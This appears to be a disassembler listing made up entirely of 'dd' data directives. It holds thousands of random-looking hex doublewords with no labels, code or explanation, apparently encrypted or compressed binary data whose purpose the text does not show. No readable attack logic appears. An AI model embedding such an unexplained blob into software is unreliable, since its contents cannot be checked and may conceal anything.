dd 758CE531h, 0A0474AB2h, 562C7A96h, 3E000F13h, 0E9F03B96h
dd 0F269AACh, 6E6C058h, 0FC8E53Fh, 18141C68h, 3BE319Bh
dd 4F1166F2h, 4A0C045Ch, 0EF6DD409h, 0FD9C8691h, 0DDC32901h
dd 5DB596CEh, 78EDB006h, 4C1CFA65h, 0A2D3E09Dh, 0E10A103Eh
dd 6C4FB900h, 41494BC1h, 0C69F40E5h, 1F0190DBh, 5659CE29h
dd 78605E5Dh, 0B7E81F72h, 0D0B2C32h, 0D4428A7Dh, 8DCA64D3h
dd 0F702DCD0h, 0F508CE3Fh, 1FFED596h, 2F828D62h, 0F58000CAh
dd 0E84A30A3h, 0A154E13Ch, 0C268E6C0h, 0E065099Eh, 526D1A77h
dd 29C77E3Ah, 12806842h, 5961C2CFh, 894E9B7Bh, 0E1665E34h
dd 3B636850h, 0F6FA2F2Dh, 68D4C00Ah, 60C03641h, 4B8D7579h
dd 7EE91255h, 9EF391D9h, 2062D954h, 33122546h, 0EFA16143h
dd 0BD5F060h, 2D3E3BF2h, 0F1B07EF2h, 0E476E91Bh, 6B69B143h
dd 2859287Bh, 872D779Ah, 495271D1h, 994B6AF9h, 0A196D2DBh
dd 3B7ECD5Dh, 0E985F5F2h, 1A24756h, 0FDA874CFh, 44F10239h
dd 407D1A28h, 379AC91Ch, 0D0E6337Fh, 4CD163FCh, 0D9B8014Bh
dd 0B6D23F0h, 2B50635Fh, 3A925108h, 775BEED2h, 11F603C0h
dd 579FA609h, 58365E21h, 0C09E8C1h, 0D9DADEE9h, 94183CD3h
dd 0DDBF1091h, 3A1D6D13h, 2F1E1B1Ch, 0A7E90CFCh, 0E4CACDD1h
dd 55B12E65h, 0A42D0B3Dh, 30F2233Bh, 2862F256h, 0F58802EDh
dd 0A4E38F9h, 0DD49C3E8h, 0AB81CE16h, 54D06AFCh, 162094F6h
dd 0E356581Ch, 745E259Bh, 631FC3D5h, 0F8EBAF05h, 72C1947Bh
dd 8473B31Ah, 4CA26F28h, 0EA282174h, 0A3A89707h, 209C2FE8h
dd 0FC25D6A7h, 0A75C629Ah, 84720176h, 3AE2C009h, 3B5C5027h
dd 95595850h, 189E847h, 3930D5F1h, 7BBB5293h, 14F09708h
dd 0A2A13F5Fh, 611EA170h, 157D7340h, 5486A06Eh, 0CC7C6231h
dd 0F520E747h, 9DC116FDh, 3013DB70h, 0AF0BBC60h, 6C5BE20Ch
dd 8E82BDFFh, 77097BD9h, 0A10D1825h, 83D07F46h, 0EC6B07CBh
dd 0D1E09D29h, 0C2258CB2h, 8E4C6158h, 0F9A0932Ch, 1E5BFD53h
dd 2C1800BDh, 0EB282662h, 837F9498h, 76BBC9Eh, 56FB27BFh
dd 66873A55h, 4C159068h, 4270B2F7h, 0EFDD34Eh, 0A0D792F2h
dd 47BFF68Ch, 460E3E38h, 0AF03A517h, 0EAF30629h, 0BDD8C9D8h
dd 0BC4A3E3Dh, 0C84E384Fh, 419474D4h, 0E962C521h, 5283F023h
dd 94487F58h, 12952F10h, 5A41FA29h, 5F2B3711h, 0EE172D21h
dd 0B272F307h, 0F2FA6CBBh, 0ACA64B2Bh, 8B21D4A1h, 0FC31F5EFh
dd 525664CFh, 34BA17ECh, 307BF1Eh, 620CD68h, 0CD04399Dh
dd 6634820Eh, 7FAD0416h, 69680DBEh, 0C389C2A5h, 72AFDD00h
dd 58C47A9Eh, 3DBF120Eh, 95D4410Dh, 8FEE0480h, 7433208Fh
dd 3D955BE9h, 3554FD41h, 29A04C3Ch, 0A92FF57Ch, 68C190F6h
dd 667E5F44h, 0D641829Fh, 906B720h, 593E621Ch, 82989B78h
dd 6ACFEEB7h, 1C993856h, 0C20562B1h, 4AD7E4EEh, 1CAB45D5h
dd 40684449h, 33B229h, 2878BB53h, 4AE97052h, 2DD08055h
dd 7E3D68BEh, 65411A33h, 697CD954h, 0F81D805Dh, 5B5BC825h
dd 2A3BE145h, 0CEED4AB1h, 968FA32Bh, 7E3319AEh, 0A9808358h
dd 0E275745Ah, 0CE01DFDBh, 7135D112h, 57F81191h, 582B3754h
dd 0C67E27C2h, 54360950h, 0A7562EA8h, 853F2D01h, 133A02EAh
dd 0C070A8C1h, 1368E0D3h, 65BCBE23h, 0B41B873h, 85C4E580h
dd 0AA84B377h, 0EE01D856h, 19FA2B40h, 0C045856Ah, 322F4A7Eh
dd 7C815345h, 16E70D06h, 19D32012h, 5E0EA994h, 0EB80B229h
dd 61483681h, 66B5414h, 2B3170h, 300F2DD3h, 62501225h
dd 5B07056Eh, 0E26B79B1h, 43A3C8C3h, 0AD025FE3h, 31FBA8EAh
dd 0FFC05D07h, 0E92DFD89h, 0DB09A0h, 3F5773EBh, 975DEC06h
dd 8D930AE5h, 9A6B6AA1h, 0AD4310E8h, 468FAC4Bh, 77E14BB0h
dd 9934AD78h, 0DFF6A995h
dd 2416057h, 4A5EF221h, 0F739606Bh, 5A288712h, 300AA40h
dd 5B94EB2Dh, 0B153E9FBh, 0BC5F8878h, 0F76CE025h, 0BF837BD9h
dd 7F355D01h, 30F3FD3Fh, 387D6296h, 4C4B0B49h, 0EC80120Ah
dd 28A25EF8h, 33B05021h, 0B251872Ah, 0D051A93Eh, 88BAFE14h
dd 0D0F78329h, 996C231h, 0FB415690h, 0F705A02Eh, 0B327DA7Ah
dd 29B5273h, 6149931Ah, 21F9E829h, 0B00752A5h, 152D27FEh
dd 71B2E069h, 1D8320C1h, 0AC3CA341h, 8AC0FB2Dh, 5127DABEh
dd 0FA9D789Eh, 7EE2EB18h, 0F7E043Bh, 48FDF834h, 0D2C14FFEh
dd 52079360h, 0C6D75EC6h, 95F7FCA0h, 4BE30B20h, 3D48665Dh
dd 4A2F7DD0h, 981CD99Dh, 628486DAh, 8CC531C6h, 0D617588Eh
dd 0D919C404h, 0B194EF3Bh, 91C081Ah, 0F9F8214h, 22CB0974h
dd 6801B7F2h, 0A66E241Dh, 4E5E52D2h, 13E62750h, 34EA18D4h
dd 99900EFh, 0C105B976h, 16A5EB58h, 4C64FF96h, 0B493F7ECh
dd 3B0FC688h, 65587A09h, 0B354C836h, 3C2F51EEh, 0ABB902C9h
dd 77126472h, 5CE1E660h, 19C27818h, 3E5D960Ch, 0C9021A9Dh
dd 23984736h, 5F64F78Bh, 0F5E9CD0Bh, 0F0982190h, 2C3A0504h
dd 0CAAA2E85h, 5DF68F03h, 0C4340C5Ch, 7282565Bh, 1857C666h
dd 416E4968h, 55827B6Fh, 0FCC9A74Bh, 0EC8A6B84h, 4C718C5h
dd 1D9F83Dh, 5EB4F381h, 6C870EC8h, 0D309FCCBh, 738AAB8h
dd 0DAA87AE9h, 1A056B08h, 6C81591Ch, 30ED8DEFh, 0B45EEAB1h
dd 0FC876274h, 781953F0h, 0DC9B20E9h, 0A3D3BD4Ah, 45494A01h
dd 0BCF12719h, 0BA1FC45Ch, 7C73CAEFh, 7AB0F94Ah, 0E8B49566h
dd 0E90BED42h, 7171883Bh, 3EC96806h, 0D2032D1Bh, 1D7D58A2h
dd 72A24E55h, 4BCDB18Fh, 0FC089AD4h, 81570C65h, 7E124D30h
dd 10BB28D5h, 0E90A07ECh, 0AF3EAA13h, 5BFAFA44h, 0B789784Eh
dd 0D892D201h, 313ABD14h, 0E8016774h, 5C301639h, 0C32AB2DEh
dd 0F5753C76h, 56C0FD13h, 4E21D9F0h, 5737D2F9h, 0C047A9A4h
dd 4A1B481Ah, 7F1F874Eh, 4AAF9ED5h, 27BA680h, 0DB7650CCh
dd 0E1101291h, 3B02FF3Fh, 0DAF265E9h, 2C021E20h, 0CCB98A19h
dd 0AC4D449Eh, 0B3AC5F80h, 7EC1CAB6h, 1312765Dh, 5CC8E330h
dd 17504965h, 0EDEF1D6Fh, 697CC219h, 0B5E1234Eh, 0CBD0082h
dd 0E9FA5068h, 3D200AE5h, 18053F6h, 8ABCA809h, 0D9CB6E29h
dd 0EDEF4B76h, 0B16581Fh, 2FB5CDE9h, 8708AB2Ah, 1215F13Bh
dd 0D3103E81h, 5C8B350h, 515D70FAh, 49058A3Dh, 0FF59B592h
dd 0ABDFE89Ah, 0BC3CF611h, 0D6E9F285h, 0AB2CFE19h, 2143172Dh
dd 82C90592h, 2C40FB67h, 3DBC0EBBh, 4ED7F8CFh, 13EF41B2h
dd 3A464D65h, 4C5946E4h, 393E3A58h, 0E9474803h, 2F0777D8h
dd 0F415FCEBh, 0D9BF57D0h, 6801236h, 2B55A529h, 6BE6B044h
dd 56B10E1Eh, 81D2C80Ch, 0CFBBE848h, 5D722554h, 6352ABBh
dd 72685158h, 0BBE925F1h, 3A7579E2h, 3D8955AFh, 7EAF165Bh
dd 13347058h, 0E911D31Ch, 0B9B3C2D2h, 84B01C22h, 4A74EC1Ch
dd 8FA0189h, 0FF0F08B7h, 0B6641832h, 78B8250Ch, 0C7490359h
dd 616E8909h, 42788FDAh, 714B875Fh, 8466FCC7h, 0BCFA0959h
dd 0E260A7E8h, 5CBC4CB9h, 69204112h, 85294Ah, 0F00321BFh
dd 41572AAh, 464E3E50h, 8412C0FFh, 531CB3B0h, 0FD53E931h
dd 27EB4FC5h, 8349BE01h, 0EF816EF1h, 4D6C1ACDh, 0FD5F8342h
dd 0B454C7ECh, 0B7270FE1h, 894E7EC0h, 0A574B983h, 0D588EA5Bh
dd 5EEB0226h, 211B8EE6h, 0C00C3E22h, 0B79C8D10h, 37E96160h
dd 8E5DD35Ah, 0F6230A93h, 5FDEC8E3h, 2ADC132Dh, 689500A1h
dd 0B171CD6h, 0B9A45D5Ah, 41C860FAh, 0F18006B1h, 0C101BA73h
dd 0B353667Eh, 0C32F3090h, 0FFA4F67Dh, 0F9E79E88h, 42B5D31h
dd 928162Ah, 0D0DAC9D1h, 3F8BD3DFh, 0C02AF80Fh, 8C87BFEBh
dd 3A453FD1h, 0A0A13BDh, 98B7F271h, 0AEB77E5Ch, 83C3062h
dd 43F20CE3h, 72EBE4BDh, 0FE37259Dh, 3B606862h, 2939DF34h
dd 626F2D52h, 2E62572Ah, 1BCE561h, 99DDCA01h, 0DF4FF22Ah
dd 7B93BC0Bh, 5FEE091Bh, 0C842C5FBh, 0F7E65DB1h, 4F5D6817h
dd 8A8E7FADh, 1E1324DBh, 1DBD283Ah, 5D805089h, 735D510Fh
dd 56D70BDh, 0A2AEF505h, 1E2DAE8Ch, 4B16CA3Ah, 4B63DAA4h
dd 50F9D80Dh, 7C1D4498h, 76AFC837h, 28CF0134h, 0D844D027h
dd 0A1FB4E7h, 23F3D87h, 0D943BB92h, 0E2BB8289h, 0F454E461h
dd 0FD8880C8h, 0E5305B00h, 0CFC58058h, 3AF87004h, 8F692CE8h
dd 0AB9F04h, 5AD1285Bh, 0A3E4F480h, 0DA55F1EAh, 0F7862B41h
dd 0DE488F03h, 7A967BE9h, 0AE0FAABFh, 4B30D39Dh, 6C51BD7Eh
dd 5B92F76Ah, 0D97ED599h, 0E555F24Eh, 885CADA4h, 0CB443CC4h
dd 5FA1692h, 5E4D8F07h, 3A011141h, 0D26FBC5Dh, 0C0783B85h
dd 4BFA95BFh, 1F182D05h, 0B82354Eh, 5F078705h, 0DE18126Bh
dd 0BB38880Ch, 0E45D540Ah, 4F6A2102h, 1501FD66h, 2101C42Ah
dd 5443CE0Eh, 0ED68A100h, 5B35AB67h, 6D86589h, 18FAC7C1h
dd 587F9A3Ah, 5479D40Ah, 2A72BBFh, 0DADE692Ch, 8186833Fh
dd 0A840611Ah, 4B9CEAA1h, 4A9CAC54h, 0AC2107E1h, 0E66DE57Bh
dd 8142717Ch, 0E947F4D3h, 0F028E54h, 61A5F380h, 628A065h
dd 7C94FD59h, 466CC302h, 9A400564h, 4A791C43h, 675FE918h
dd 9C46C3FDh, 0E2A79634h, 1B2F7852h, 569DA2E8h, 0E41DD85Ah
dd 0FA06C2F2h, 3849E5E9h, 300A31C0h, 0FD91C2BEh, 0D4D2B9ECh
dd 0D6100E06h, 608A5B57h, 0B6CA8E14h, 0C75E7D81h, 662A7033h
dd 57DD9813h, 783BEA01h, 0E52A2729h, 0A80804EBh, 92C520FFh
dd 0FEC6BF04h, 815FA6FCh, 0F6F39690h, 98DEE8D3h, 0C7D2092h
dd 2C3F0D07h, 76AE0FD9h, 14AA2C56h, 2218C5B9h, 0CCEE9D79h
dd 853EB902h, 0E85EF331h, 4E5D2D5Eh, 548A84Eh, 0D783DC29h
dd 0E3E97191h, 0C1E49BCAh, 0D46BAFF4h, 26B81DA2h, 0A20293A1h
dd 0EBE9C45Ah, 5B594791h, 33ECF481h, 0DB015C51h, 1608FAC7h
dd 0D70EAC58h, 0E9A0C2FCh, 0FEA96384h, 0F5626A8Bh, 0A0D8FA57h
dd 312A2EB4h, 4BE3CA8h, 8C617E5Ah, 0D87A5B6Fh, 0D8F65074h
dd 0C157D12h, 0B04AB8B3h, 337FE99Bh, 485479C6h, 0A4BC2DD7h
dd 219FA6F1h, 0D0B95CE0h, 0BC754513h, 0F4E347Eh, 0EBC412AAh
dd 2AE90C78h, 7D47A13h, 0DA62CDE6h, 96F66327h, 6E4192B1h
dd 5C9023A0h, 0B2A7EDA8h, 7BF678CCh, 963CD44Bh, 0BCE7C5ABh
dd 0EFE95002h, 79EA5DF2h, 10862948h, 8912F403h, 0C6A121DFh
dd 0CB8981E2h, 3B3E78ACh, 427ECF40h, 0E9DD16B5h, 0B4E8402Dh
dd 58E13043h, 665CD073h, 687B273Dh, 3E20B06Ch, 5809C108h
dd 84558850h, 16128508h, 512504A0h, 105414C5h, 5A70672Eh
dd 5EC8CAE7h, 127B79F8h, 5D0BE920h, 0A50D5415h, 815E0171h
dd 4D6703F2h, 5B1AF07Fh, 9DB618D7h, 5F64BA96h, 5ABD8BAAh
dd 0E8B726E8h, 4CA6AC32h, 55FC802Dh, 7245B757h, 708798BEh
dd 0C9CBA2B1h, 9246CA99h, 2EED77F4h, 5100CBCAh, 0A9767CB9h
dd 0E11CC163h, 0FFC08107h, 0F77FDE56h, 0D44971D1h, 0FE053808h
dd 0D0549A15h, 70BA5294h, 73024D13h, 0E91264ACh, 0AB8952BBh
dd 4131353Dh, 0B538B26Eh, 288F51A9h, 60B207D0h, 2795D108h
dd 243B7F0h, 53A7E381h, 60DF38A4h, 48D14B3Ch, 301D29EBh
dd 2977C9F3h, 505A2B04h, 15C1A4BAh, 5F03C161h, 5CC152BBh
dd 0CAC9806Eh, 54591120h, 8E224C1h, 33040504h, 0F1F8F1h
dd 6856535Ah, 55D7BEBh, 0E9465E58h, 5F61B84Dh, 2C477FD7h
dd 0B1B33C3h, 0E914360Ch
dd 0EF2DEAF0h, 0DB01703Bh, 8DB07783h, 0AD51239Fh, 7EF52AB3h
dd 81956930h, 0E450DD5Dh, 0D34F0DB8h, 4B7BF5A2h, 9F95A129h
dd 525FD80Ah, 274DBAC6h, 411DD526h, 953AAB94h, 5520EDCCh
dd 301CE1FAh, 0D01F58C2h, 1B85F80Bh, 786EC2A3h, 0C8B100FBh
dd 806CB652h, 282E46C1h, 0AC3AD1F1h, 0B408F55Ah, 6A923CA3h
dd 47EBA554h, 3EE73031h, 0D2981421h, 12E7C12h, 720F0641h
dd 82E22CA1h, 5758BDD9h, 4BCC9D18h, 0F110CD2Eh, 0BEFF002Dh
dd 0FDF9211Dh, 771E016Eh, 0C64B449Eh, 75A2EDC0h, 97EC116h
dd 437E471Ah, 56B59AB9h, 30DF6B01h, 80A25AC5h, 0FBBDC801h
dd 7BA70B83h, 0A7BBD6FCh, 598D6949h, 96F7F69Eh, 31F5421Fh
dd 0DEE458C1h, 0ACC40FFAh, 23ADF328h, 0C9F9BF55h, 0E265126Ah
dd 368C232h, 6217DE3Dh, 3A5D53C6h, 0C2CEF5FBh, 2F5DFE5Fh
dd 8D14FCAFh, 0E885F168h, 0E1C7B4FBh, 251F03CBh, 639CF975h
dd 0AF7445C1h, 256C6F10h, 696FA07Ch, 0BB1178EEh, 0E4A7BEA9h
dd 770BC85Ah, 80111C66h, 352FBFEEh, 16E92D41h, 0D6797FC2h
dd 912EC3E8h, 0D8215B61h, 0EA55652Bh, 0EB61B3C9h, 0F8B96110h
dd 6ABC0920h, 9AF5C1E9h, 0FE9457E8h, 7645E913h, 0E03054C9h
dd 0EC161431h, 0D32CB537h, 0EFC81FA5h, 6745F960h, 666557BCh
dd 0EF104EA9h, 38BF0052h, 6834C04Eh, 671262EEh, 6DFE7A22h
dd 55C28362h, 0DF0B6845h, 88475E5Bh, 6D28EB72h, 3A5DEE16h
dd 0DC090A1Fh, 80187DF0h, 1673F956h, 604EAAFAh, 0DCFBEB44h
dd 1D210ADh, 7375D52Eh, 74753002h, 5B8E6F10h, 0B04C281h
dd 0BBF6C80h, 61118BEh, 8046D5ADh, 60B7E908h, 2FB9699Ah
dd 1498A81Eh, 99C7B035h, 0D324C3F8h, 9F7F6A0Dh, 6C2DE6B6h
dd 73168D3Eh, 47EA0317h, 0D236E14Eh, 8C876BBBh, 0CD016B22h
dd 895BD929h, 8956BF30h, 0EED90482h, 478F5302h, 983F08DFh
dd 80980120h, 745B687Ch, 2CB9E5A8h, 9B69E1D4h, 42C00401h
dd 0ABD3CAF1h, 0E814046Bh, 802DB600h, 0EEE69ACEh, 97067B62h
dd 304DF88h, 6EEDE17Eh, 93F44C9Dh, 70209FADh, 0C28003EAh
dd 0E21DE776h, 0F6938602h, 0B9BF4604h, 78522009h, 9751B120h
dd 537B4160h, 1E05AD80h, 1C264A75h, 446FC42Dh, 4162AC09h
dd 832F4307h, 2F6A4799h, 6FC4324h, 0F832125Eh, 0FC73B2D4h
dd 285D201Dh, 4446D25Ch, 0A49A336Bh, 35FC2B54h, 15604D0Eh
dd 3080BC29h, 0AA054327h, 0EA1EF426h, 0BFD7044Ch, 0C9A1E99Eh
dd 65CE3051h, 87CAB35Ch, 7003FEEAh, 900C076Ch, 36143B01h
dd 883A6F2h, 5E140C40h, 0B466E912h, 0C1F31393h, 0BD0263A5h
dd 29B548D7h, 0E5F4FFEFh, 7BFB9D0Bh, 205ACB8h, 1FC13F88h
dd 7990ADBAh, 162D3780h, 2E2DD054h, 3B534B43h, 24C0A609h
dd 86AE7682h, 561FAB0Ah, 0DD86421Bh, 0C4FEF640h, 0E7CAEC80h
dd 4C205CD4h, 281035E3h, 0C8290BE4h, 1AA97F2Dh, 9D001D93h
dd 26114F05h, 0B215E90Ch, 4ABF00E8h, 29236C67h, 70FA5FF8h
dd 0F781C660h, 60124B16h, 0E8011D0Dh, 0CDEE0F05h, 6B16948h
dd 556D281Ah, 6E596B76h, 4C26B25Dh, 0BF4A259Dh, 0D1095C9Ah
dd 0E1976A3Ch, 6800BADCh, 0D82546D3h, 3E68586Ch, 0F51345FCh
dd 78ECE489h, 16D0320Eh, 0B280FE47h, 0F74CED20h, 0C712C0DFh
dd 0A06157ADh, 0E9FB3104h, 4AC8B2D1h, 831A1FEAh, 0ABCD5678h
dd 33174413h, 0B885D6B3h, 0E939BEACh, 5AB58D45h, 2A5805DBh
dd 0E84DB22Dh, 7DE9827Bh, 734CD2AFh, 0D32D80EEh, 6C601A12h
dd 1268B603h, 5E09875Dh, 0DE8AC2D4h, 0EB664B07h, 9D59B847h
dd 6F147314h, 1E8CC56Ch, 0A70DABC3h, 0E03E5CFBh, 1512040Fh
dd 2A086B46h, 0D0A3368Eh, 48F739Fh, 0B9DDCDE9h, 108F58CDh
dd 4869F3A7h, 2E7986Bh, 0B4602436h, 1E9D6137h, 0BA67FE34h
dd 974F0B34h, 0E06D0F7h, 0EA0531AAh, 4D9B5045h, 72E462FFh
dd 0C55C1272h, 4B902072h, 0B02FBCACh, 53E97EB1h, 4D95D29Ah
dd 4F59FD4Bh, 0D53BF02Dh, 0F7C0EB2Ch, 1B7FB850h, 0AC1B0F4Fh
dd 5864E0C4h, 42E13502h, 0C829382Ah, 0BC4F09F3h, 728282F4h
dd 0C35D06E4h, 0E9070DACh, 0D5790DCFh, 61AAD8E0h, 5E422EC5h
dd 40BB2385h, 253DC7F2h, 2DB849EAh, 0A6052B1Eh, 0B27DCAEh
dd 0CCA6DEB6h, 0C34C2806h, 0F5503745h, 0D329D77Bh, 9AD52B0Bh
dd 0EB6BF5DFh, 6BE77807h, 92AF74E8h, 0A2046BFCh, 0E8443731h
dd 62B41C89h, 0E9165A50h, 0CA3AB419h, 0A94D0AEEh, 4604076Ch
dd 0EDA2336Ah, 5110FF71h, 0C675FE61h, 755F6CF8h, 0ADC461FCh
dd 480AF2CAh, 5BA28418h, 638C6802h, 600C490Fh, 1667B866h
dd 0BCC60D4Eh, 145AE2h, 0D3982626h, 0DEF6F34Eh, 0F0514177h
dd 92974E3Ch, 3E42D58Ah, 247DE657h, 52587D31h, 5C1E6CDDh
dd 0C1808D93h, 0E485090Ch, 0AA5CE0F6h, 396E8D9Eh, 0CBD2C13Eh
dd 0DCEBCC14h, 89C9E8FAh, 5FB29105h, 1040CB2Eh, 29199BF6h
dd 6B6EA4D3h, 0BC934CB2h, 47E9C23Fh, 25387F74h, 68806A5Bh
dd 5B756542h, 20ADACh, 3564C7C6h, 5FF50170h, 0FA27845Eh
dd 92BED325h, 222B61BCh, 0BD9C51h, 7404E1B9h, 0BB205Ch
dd 39ED63FBh, 95D2CEE9h, 9E6069EAh, 41D60282h, 7991E104h
dd 0E63C63A3h, 6FF5985Ah, 18105C46h, 41904857h, 0AFA77C5h
dd 195D1E68h, 0B703D3A8h, 0BB403B51h, 120B54B9h, 0D680905h
dd 7E857BF2h, 5B07012Dh, 348879E9h, 6A175FA1h, 2CE0248Fh
dd 6B4F2C70h, 7D1D07BDh, 8B0CFCA1h, 0F01E9D13h, 0DA134EB9h
dd 1174EE94h, 210C8FAh, 0D2584D40h, 0C7E791B5h, 409D02D3h
dd 834CEFD9h, 7E4C204h, 19834DBEh, 8B174C58h, 0F5E72C05h
dd 1B1E08Dh, 0CF628581h, 37F9EA2Dh, 0D988B448h, 0E3C004EDh
dd 6EE3C208h, 0B1E8FA08h, 0B84B9110h, 984C1042h, 6FB1511Ch
dd 5020D450h, 9B1BBDB2h, 0D1870D03h, 2762E992h, 1110C36Dh
dd 4F8B2F8Ch, 1082BC98h, 0E94808C6h, 30904C2Bh, 7C4F68D8h
dd 0EF8F1AA9h, 70AD4E5Bh, 0F889AFA4h, 0F0DBD97Ah, 0C8BDFAC9h
dd 0B50723F8h, 8088FE51h, 35B90097h, 2936E271h, 45EDF95Bh
dd 1180580h, 42B744E5h, 590704EBh, 0E15931ABh, 944F22C7h
dd 2E00222h, 60455FC1h, 714DEE2Ah, 58E91823h, 315B30B8h
dd 2796F148h, 0BCF9F698h, 27181F5Ch, 464E0E1Eh, 30E68107h
dd 0C07E7E11h, 0C3A221EEh, 0E92CC2AAh, 47F28049h, 11B91D4Bh
dd 0FB41C99Fh, 60BD3C6Eh, 32E46D1h, 0B2BF70C1h, 29A1634Ah
dd 0CBB27FC7h, 177AF2D7h, 31375632h, 75773F82h, 8121394Ch
dd 0E95703C2h, 9F00515Ah, 3DDB2D62h, 0FADEF75Eh, 205F4BB0h
dd 535D58F3h, 941332C4h, 8A982D09h, 3180EC99h, 0B05B4FDAh
dd 9A40C136h, 71BBA25Ah, 60B01D94h, 73AF5895h, 0F067C973h
dd 505EC4C0h, 0C34A70F8h, 59243856h, 0EC14AEh, 9B676887h
dd 74D20674h, 57582DB2h, 6A71F197h, 0A0AE8832h, 2676FB2Fh
dd 0D7431CB2h, 0D1280C84h, 0AE13B886h, 5985E47Bh, 643A9CA1h
dd 8C25C0E4h, 3D5EB050h, 0C852ACE0h, 880E9062h, 0D13C5BF3h
dd 0A32AD2A3h, 3671937Ch, 742A970Ch, 0EEBC82CCh, 0C1DBF602h
dd 0FA3DFD6Fh, 35124D84h, 3F892DAEh, 0F5340889h, 0C3635C23h
dd 0ADF53CB3h, 5356C003h, 2C16855h, 5D24402Dh, 0BC60EDD1h
dd 0AE2F3245h, 84A1FE63h, 824CFBFFh, 0BCAC9525h, 78161316h
dd 86A83E8Eh, 3C1F6083h, 0D7F50C02h, 5E7D7926h, 0C72E1EBCh
dd 55E9989Dh, 0D8420A5h, 0F128E166h, 36FCC189h, 0C71DD165h
dd 81A9D4BBh, 28F8FB27h
dd 1819A98h, 30EAAD4h, 0A3E3C61h, 850A0401h, 8DD2C3E9h
dd 0C38214E8h, 0FF02079Dh, 0FE57D9BEh, 3EF54053h, 0B9F250Ch
dd 30C1D2C1h, 0F4000528h, 0D34B424h, 62353EB9h, 0ED659032h
dd 0F4F7222h, 49C28A45h, 3258D4E5h, 6FCC801Ch, 3067C4C0h
dd 5851E9E6h, 2484B35Dh, 3F4B0E96h, 1183CB4Bh, 5A78E84Bh
dd 5D61597Bh, 0FDF82117h, 0C6A89319h, 868AA1h, 2725502Dh
dd 21887555h, 58088907h, 406E5905h, 0AC38BE81h, 7B959437h
dd 7948BCE3h, 1078432Eh, 5C5B2DBEh, 0B5C2C4B9h, 76B03A1Bh
dd 4857B6D8h, 685303C6h, 98769BEh, 75D2D35Eh, 5955311Ah
dd 0F868C163h, 0C21B6C3Dh, 841639E7h, 0BBF840E6h, 0DAF7861Dh
dd 0C5F30F67h, 4AC5F16h, 497CB2B4h, 89EC4EC4h, 0F40DACB4h
dd 40C5C988h, 0D62FF7C3h, 0FA4AF656h, 77C5F41h, 0A148AD52h
dd 772E6897h, 520B6232h, 404BFE88h, 170AC2BAh, 5585E812h
dd 2A1929FFh, 680A6B8Ah, 59774D54h, 6C43A5C3h, 0E9541337h
dd 0E1DCE4C2h, 14410524h, 0B562D82Dh, 31E2CCD9h, 0CD225FC3h
dd 9C5F4844h, 0DC8CFCDEh, 0C5702FF9h, 6AB6FD5Fh, 68AFC05Fh
dd 45B90788h, 0CEA87EADh, 0BF250A16h, 8C5A93F1h, 490B2D56h
dd 0F454CE62h, 0B507207Bh, 0C3671A59h, 6C3D2E81h, 16946820h
dd 0BB42AC64h, 440F0402h, 88905536h, 894A2CE9h, 21D08AD0h
dd 0E7C7644h, 6423C4EBh, 0ACDFD7DFh, 0F8019291h, 499741A9h
dd 0C408E170h, 0EF5DEBCFh, 55433DD0h, 4B5309BDh, 9D9878D4h
dd 3A2610E3h, 0DC02BF77h, 706DB782h, 34E91312h, 0ED0E5768h
dd 11E9B1A5h, 5B164E2Ch, 79298189h, 0C7EA1047h, 32DD2733h
dd 80CE6CAh, 7616DC0Ch, 0D11A12F1h, 0D316814Fh, 8A2F2B31h
dd 5D5A1F51h, 0C268D242h, 8823597Ch, 2812CAC0h, 36123BECh
dd 0C0DD343Bh, 0B35338A7h, 42E0625Ah, 25D2403Eh, 0CF51B801h
dd 7E8C10Ch, 5060687h, 566ED3A5h, 60DB0DA8h, 0C689F403h
dd 2D81F9E9h, 8473DD69h, 1E6BC08h, 80FEDBAh, 0FCE1E879h
dd 0B30D90B5h, 70B53869h, 285BDD0Bh, 0E90562F9h, 0A153BB2Bh
dd 0C3115CBFh, 3D1F359Ah, 5A9BF3B0h, 53EF7A16h, 2E374041h
dd 0B77A015Fh, 600C419Fh, 871AD5A0h, 2B0649CDh, 0A11CDDE0h
dd 0C05AF1B0h, 13D2BFBCh, 5EB749BFh, 576D12DDh, 211CAE5h
dd 1772D196h, 941828C3h, 7B124FC3h, 0C2A4F6A2h, 999AC4D2h
dd 634D10D7h, 0C2989755h, 7994ED9Fh, 45E75AE5h, 0B1FC0225h
dd 0F6A71353h, 0AB341AE9h, 0F88966DDh, 0D29E4FF8h, 54784D0Bh
dd 0ACE1C02Ch, 0FD08C10Bh, 0D7009B8Eh, 0FE305A66h, 736F5591h
dd 6851A501h, 312A78AEh, 29B13DAh, 0F4437D5Dh, 68D9D89Bh
dd 56B27BDBh, 0F9A2FD84h, 0AEEC770Eh, 17AF3BD7h, 71BE9AEh
dd 66177AF6h, 55E95720h, 8C7B95A7h, 0F84A6410h, 32CA5F01h
dd 1E4EF27h, 5A58D988h, 0DCAE60F3h, 913868B5h, 8018BF45h
dd 0ED9D0601h, 2D0D351Fh, 9961600Eh, 961E54Fh, 0F62A382Fh
dd 0F914809h, 32067FBEh, 0B48813EEh, 0F64E5547h, 191089CEh
dd 0A56809D4h, 6053546Bh, 18C66DEAh, 0F9D50125h, 5B5D0AE5h
dd 0AC7F4B87h, 0FE5193AEh, 0F8296D3h, 0C19F15BDh, 92F5812Ah
dd 3027D17Bh, 2E71FC96h, 0E51F0E7Ch, 56D84F43h, 5022320Ch
dd 40F9C57Eh, 4AF0BA7Dh, 87687C26h, 0AF773203h, 48F2B075h
dd 97CC74D3h, 16571C8Bh, 0B78C906Ch, 312575F2h, 58C174DFh
dd 5F59F989h, 59E9825Bh, 25DBC59Eh, 0E9F1ACD6h, 0DE3CEAF1h
dd 0D261A8C9h, 7C1F3659h, 5F315149h, 0C3CEF6B1h, 4E20A0BAh
dd 3E689DEAh, 0C1E91EBh, 0C35645FDh, 2E8BA00Ah, 55D81142h
dd 6A157E5h, 0E9090211h, 7564F156h, 11D0ECF0h, 6C181049h
dd 4E2DAD3Fh, 0B877F809h, 0C8A1F70Bh, 0D962BB18h, 0B230D55Bh
dd 0C49170E6h, 0E008E648h, 0E4BE024Bh, 2141DB2Dh, 0F115AF12h
dd 85C9758h, 0D02554B7h, 0CE7A203Eh, 0B4A632DCh, 5E2D38A4h
dd 0B3B25E6Dh, 98A26827h, 515597h, 0E51031B9h, 0F992E92Bh
dd 0C0295ACAh, 424F9E40h, 67708869h, 0D9A5582h, 4B46B380h
dd 4F776BB9h, 5D5F5516h, 47EF1C44h, 67E9C0EAh, 0E7EC1468h
dd 0EC7DE20Bh, 0BD5A8009h, 97410846h, 0E0BF9852h, 40BFFE2h
dd 0CE948C4h, 3F8CAB90h, 5C1C9052h, 8F8157AEh, 8017B119h
